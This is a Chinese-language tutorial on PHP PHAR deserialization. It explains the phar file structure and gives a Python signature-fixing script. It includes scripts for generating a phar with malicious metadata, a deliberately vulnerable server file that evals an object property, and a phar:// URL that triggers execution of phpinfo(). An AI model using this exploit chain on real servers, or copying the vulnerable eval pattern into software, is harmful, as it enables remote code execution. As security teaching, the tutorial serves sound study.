phar文件
PHAR 是 PHP Archive 的缩写,类似 PHP 里的压缩包/归档文件,它可以把多个 PHP 文件打包成一个文件。
一个 PHAR 文件里通常包含:
stub
Stub是Phar的文件标识,也可以理解为它就是Phar的文件头
这个Stub其实就是一个简单的PHP文件,它的格式具有一定的要求,具体如下
xxx<?php xxx; __HALT_COMPILER();?>
前面的内容是不限制的,但在该PHP语句中,必须有__HALT_COMPILER(),没有这个,PHP就无法识别出它是Phar文件。
manifest
用于存放文件的属性、权限等信息。
这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的Meta-data

contents
用于存放Phar文件的内容
signature
签名(可选参数),位于文件末尾,具体格式如下

签名尾部的01代表md5加密,02代表sha1加密,04代表sha256加密,08代表sha512加密
当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名
更换签名的脚本
from hashlib import sha1
with open('test.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件
漏洞成因
Phar文件会以序列化的形式存储用户自定义的 meta-data ,PHP使用 phar_parse_metadata 在解析meta数据时,会调用 php_var_unserialize 进行反序列化操作。
利用条件
能够上传或控制一个phar文件
可以控制文件操作函数的参数,通过
phar://伪协议进行操作存在可利用的反序列化链

生成Phar文件
需要将php.ini文件中的phar.readonly配置项配置为Off
phar.readonly = Off; #php版本要大于等于5.2
生成脚本
<?php
class TestObject {
}
$o = new TestObject();
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
实战
服务端源码
<?php
class User {
public $name = "Tom";
public $age = 18;
public $cmd;
public function __destruct() {
echo "Destruct\\n";
eval($this->cmd);
}
}
file_get_contents($_GET['phar']);
生成对应的phar文件
<?php
class User {
public $name = "Tom";
public $age = 18;
public $cmd;
}
$o = new User();
$o->cmd = "phpinfo();";
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
这里我们省去上传步骤,直接放在服务端的目录中,文件名为 phar.phar
访问
http://test/test.php?phar=phar://phar.phar

成功执行
评论